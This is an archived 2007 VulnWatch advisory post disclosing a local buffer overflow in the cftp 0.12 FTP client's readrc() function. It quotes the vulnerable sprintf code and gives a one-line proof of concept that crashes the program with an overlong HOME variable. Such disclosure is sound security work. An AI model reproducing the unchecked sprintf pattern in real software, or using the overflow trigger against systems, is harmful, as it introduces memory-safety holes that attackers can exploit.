vulnwatch
[Top] [All Lists]

[VulnWatch] cftp 0.12 (readrc) Local buffer overflow vulnerability

To: vulnwatch <vulnwatch@vulnwatch.org>
Subject: [VulnWatch] cftp 0.12 (readrc) Local buffer overflow vulnerability
From: starcadi <starcadi@gmail.com>
Date: Mon, 19 Mar 2007 22:53:01 +0100
Delivered-to: sp-com-lists@consult.net
Delivered-to: vulnwatch-list@securepoint.com
Delivered-to: mailing list vulnwatch@vulnwatch.org
Delivered-to: moderator for vulnwatch@vulnwatch.org
Dkim-signature: a=rsa-sha1; c=relaxed/relaxed; d=gmail.com; s=beta; h=domainkey-signature:received:received:message-id:date:from:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition; b=ERTi4bUB/H5lfB4uk7F5+h4wII+GVZZPe3PAH6mVpAo3i9rjvDOAO7Q8liF3tJoj8SEZmUx3Gma9zI5tn17WuJpjMMpHkgA7nTiMeZWmH9QGKiRrkoUxUTwyKk9xkzlspjmaCZ1XKxuCJBMNNUCjfZoE4ebMdpvA8eCdwFoXlnY=
Domainkey-signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta; h=received:message-id:date:from:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition; b=FaJ5Xb+zNEoGb6lPngLZI46rxums53fbXxAEnnvL4PgZZWlvfnQSiElxrizMdNg1WbXTIP/PU7X5BK4YoCBOHJA6Sj7LHgBSCfJrZcMtro/+3JcX0GOBfez/JnJxhONd7YC65Pn4qS8HKPh2X3pX6wHbysb1a3V7NkqyXunuAa4=
List-help: <mailto:vulnwatch-help@vulnwatch.org>
List-post: <mailto:vulnwatch@vulnwatch.org>
List-subscribe: <mailto:vulnwatch-subscribe@vulnwatch.org>
List-unsubscribe: <mailto:vulnwatch-unsubscribe@vulnwatch.org>
Mailing-list: contact vulnwatch-help@vulnwatch.org; run by ezmlm
Description:

CFTP is Comfortable FTP, a full screen ftp client.
Supported are FTP both with active and passive data connections,
IPv4 and IPv6, and SFTP (a file transfer protocol using SSH for
authorization and connection encryption).
Found local buffer overflow in readrc() with sprintf() with no
sizelen control.
source: http://ftp.giga.or.at/pub/nih/cftp/

Source error:

int
readrc(char **userp, char **passp, char **hostp, char **portp, char **wdirp,
      int check_alias)
{
   FILE *f;
   char b[8192], *p, *tok, *q, *home;
   char *user, *pass, *host, *port, *wdir;

   if ((home=getenv("HOME")) == NULL)
        home = "";
   sprintf(b, "%s/.cftprc", home);

   if ((f=fopen(b, "r")) == NULL) {
        if (errno == ENOENT)
            return 0;
        return -1;
   }
   [..]
}

error in sprintf(), no sizelen control in getenv().

Proof of concept:

$ export HOME=`perl -e "print 'A'x8200"`
$ cftp
Segmentation fault
$

--
.original http://intel.shacknet.nu/
~ starcadi

<Prev in Thread] Current Thread [Next in Thread>
  • [VulnWatch] cftp 0.12 (readrc) Local buffer overflow vulnerability, starcadi <=